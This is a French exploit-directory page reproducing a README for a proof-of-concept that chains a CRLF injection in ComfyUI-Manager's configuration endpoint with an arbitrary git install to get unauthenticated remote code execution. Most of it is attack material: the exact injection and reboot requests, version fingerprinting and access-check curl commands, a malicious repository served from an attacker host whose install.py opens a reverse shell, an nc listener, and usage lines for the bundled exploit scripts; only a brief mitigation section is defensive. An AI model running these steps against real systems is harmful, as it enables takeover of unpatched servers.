Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-22777 — Preuve de concept d'exploit enchaînant une injection CRLF dans le point de terminaison de configuration de ComfyUI-Manager avec une installation git arbitraire pour obtenir une exécution de code à distance non authentifiée. | Kitploit
Outils/GitHubGitHub/si13nttt/cve-2026-22777
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
GitHubsi13nttt/cve-2026-22777

CVE-2026-22777

Preuve de concept d'exploit enchaînant une injection CRLF dans le point de terminaison de configuration de ComfyUI-Manager avec une installation git arbitraire pour obtenir une exécution de code à distance non authentifiée.

45il y a 24 joursPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-22777 — Injection CRLF dans ComfyUI-Manager -> RCE (avec CVE-2025-67303)

Sévérité : Critique (CVSS 9.8) Affecté : ComfyUI-Manager < 3.39.2 et 4.0.0 - 4.0.4 Corrigé dans : ComfyUI-Manager 3.39.2 / 4.0.5 Chaîné avec : CVE-2025-67303 (Installation Git arbitraire -> Exécution de code)


Fonctionnement

ComfyUI-Manager expose un endpoint /api/manager/db_mode qui accepte un paramètre de requête value et l'écrit directement dans config.ini via le module configparser de Python.

La vulnérabilité est une injection de retour chariot nu (\r / %0D) :

  • À l'écriture : configparser sérialise la valeur telle quelle — \r est stocké tel quel dans le fichier.
  • À la lecture : le mode universal-newline de Python traite un \r nu comme un terminateur de ligne, divisant une valeur en deux directives INI distinctes.
  • Dernière clé gagnante : configparser avec strict=False (valeur par défaut de ComfyUI-Manager) accepte les clés dupliquées et utilise la dernière. Le security_level = weak injecté écrase la valeur légitime.

Après un redémarrage, le paramètre falsifié prend effet, désactivant le contrôle d'authentification sur /api/customnode/install/git_url (CVE-2025-67303). Cet endpoint clone un dépôt git arbitraire et exécute immédiatement install.py depuis celui-ci en tant que sous-processus — donnant à un attaquant non authentifié une exécution de code complète.


Chaîne d'attaque

Étape 1 — Injecter un CR nu dans l'endpoint de configuration
  GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak

  config.ini sur le disque après écriture :
    db_mode = cache\r
    security_level = weak   <- injecté via %0D

Étape 2 — Redémarrer le Manager pour recharger la configuration falsifiée
  GET /api/manager/reboot

  Le Manager relit config.ini ; les universal newlines divisent la valeur ;
  dernière clé gagnante -> security_level = weak

Étape 3 — Vérifier le contrôle d'accès (interroger jusqu'à ce que 403 devienne 400)
  POST /api/customnode/install/git_url  body: http://127.0.0.1/probe.git
  403 = contrôle toujours fermé
  400 = contrôle ouvert, security_level=weak confirmé

Étape 4 — Déclencher l'installation depuis un dépôt git malveillant (CVE-2025-67303)
  POST /api/customnode/install/git_url
  body: http://ATTAQUANT:9099/alg-upscaler.git

  Le Manager effectue :
    git clone http://ATTAQUANT:9099/alg-upscaler.git
    python install.py   <- le reverse shell s'exécute ici

Fichiers

FichierObjectif
setup_evil_repo.shConstruire le dépôt git malveillant et le servir via HTTP
exploit_ad15.shExécuter la chaîne complète : injection CRLF -> redémarrage -> vérification -> déclenchement
autopwn.pyAlternative Python tout-en-un (construit le dépôt + exécute la chaîne complète)

Identification

Étape 1 — Empreinte de version

curl -s http://TARGET:8188/api/manager/version
# Vulnérable :  "3.39.1"  /  "4.0.3"
# Corrigé :     "3.39.2"  /  "4.0.5"

Étape 2 — Confirmer que l'endpoint CRLF accepte des valeurs

curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> l'endpoint existe et est accessible en écriture

Étape 3 — Sonder le contrôle d'accès à l'installation

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://TARGET:8188/api/customnode/install/git_url \
  -d "http://127.0.0.1/probe.git"
# 403 -> contrôle fermé (configuration par défaut, la cible est injectable)
# 400 -> contrôle déjà ouvert (passer la Phase 1)

Explication de la sortie d'exploitation

============================================================
  CVE-2026-22777 + CVE-2025-67303 Chaîne complète
============================================================
  Cible       : http://192.168.1.10:8188
  Attaquant   : 10.10.14.1:4444
  Dépôt malv. : http://10.10.14.1:9099/alg-upscaler.git

[*] Phase 0 : Empreinte de version
    Version de ComfyUI-Manager : "3.39.1"        <- vulnérable

[*] Phase 1 : Injection CRLF -> security_level = weak
[+] Injection envoyée (HTTP 200)
    config.ini contient maintenant :
      db_mode = cache\r
      security_level = weak  <- injecté via CR nu

[*] Phase 2 : Déclencher le redémarrage
[+] Requête de redémarrage envoyée -- attente de 30s pour le redémarrage du Manager...

[*] Phase 3 : Vérifier le contrôle de sécurité
    Tentative 1 : HTTP 403                      <- toujours en redémarrage
    Tentative 2 : HTTP 403
    Tentative 3 : HTTP 400                      <- contrôle ouvert
[+] Contrôle OUVERT -- security_level=weak est actif

[*] Phase 4 : Vérification de l'accessibilité du dépôt git malveillant
[+] Dépôt malveillant accessible (HTTP 200)

[*] Phase 5 : Déclenchement de l'installation git (CVE-2025-67303)
    ComfyUI-Manager va :
      1. git clone http://10.10.14.1:9099/alg-upscaler.git
      2. cd dans le répertoire cloné
      3. python install.py  <- le reverse shell s'exécute ici

Le curl de la Phase 5 se bloque — le reverse shell arrive sur nc -lvnp 4444.


Différences par rapport au PoC Vulhub

1. Charge utile

PoC VulhubCe PoC
install.pytouch /tmp/success (preuve d'exécution uniquement)Reverse shell Python vers l'attaquant
RésultatPas de shell interactifShell interactif complet

2. Gestion du dépôt

PoC VulhubCe PoC
LangageFichier Python uniqueBash, 2 scripts séparés
Nettoyagetempfile.TemporaryDirectory (supprimé automatiquement sur Ctrl+C)Manuel (reste sur le disque)
Nom du dépôtAléatoire (ex. evil-node-a1b2c3)Fixe : alg-upscaler

3. Couverture de la chaîne

PoC VulhubCe PoC
CVE-2026-22777 (injection CRLF)Non inclusDans exploit_ad15.sh Phase 1
Redémarrage + vérification du contrôleNon inclusAttend 30s puis interroge 403->400
Déclenchement de l'installationcurl manuelAutomatisé en Phase 5

Utilisation

Étape 1 — Configurer le dépôt malveillant et l'écouteur (deux terminaux)

# Terminal 1 — écouteur
nc -lvnp 4444

# Terminal 2 — construire et servir le dépôt malveillant
bash setup_evil_repo.sh 10.10.14.1 4444

Étape 2 — Exécuter la chaîne d'exploitation complète

# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444

Le shell arrive dans le Terminal 1 après la Phase 5.

Alternative — Python tout-en-un

# Commande aveugle
python3 autopwn.py http://192.168.1.10:8188 --command "id"

# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444

Correctif / Atténuation

Mise à niveau (recommandée) : ComfyUI-Manager 3.39.2 ou 4.0.5+. Le correctif supprime les \r et \n avant d'écrire tout paramètre de requête dans config.ini.

Atténuations réseau (si le correctif n'est pas immédiat) :

  • Bloquer l'accès externe au port 8188 au niveau du pare-feu — ComfyUI n'est pas conçu pour une exposition publique.
  • Reverse-proxy avec authentification devant /api/manager/* et /api/customnode/*.
  • Rendre config.ini en lecture seule : chmod 444 config.ini.

Références

  • https://github.com/Comfy-Org/ComfyUI-Manager
  • https://www.cve.org/CVERecord?id=CVE-2025-67303
  • https://github.com/vulhub/vulhub/tree/master/comfyui/CVE-2025-67303
  • https://docs.python.org/3/library/configparser.html
  • https://cwe.mitre.org/data/definitions/93.html
Télécharger l’outil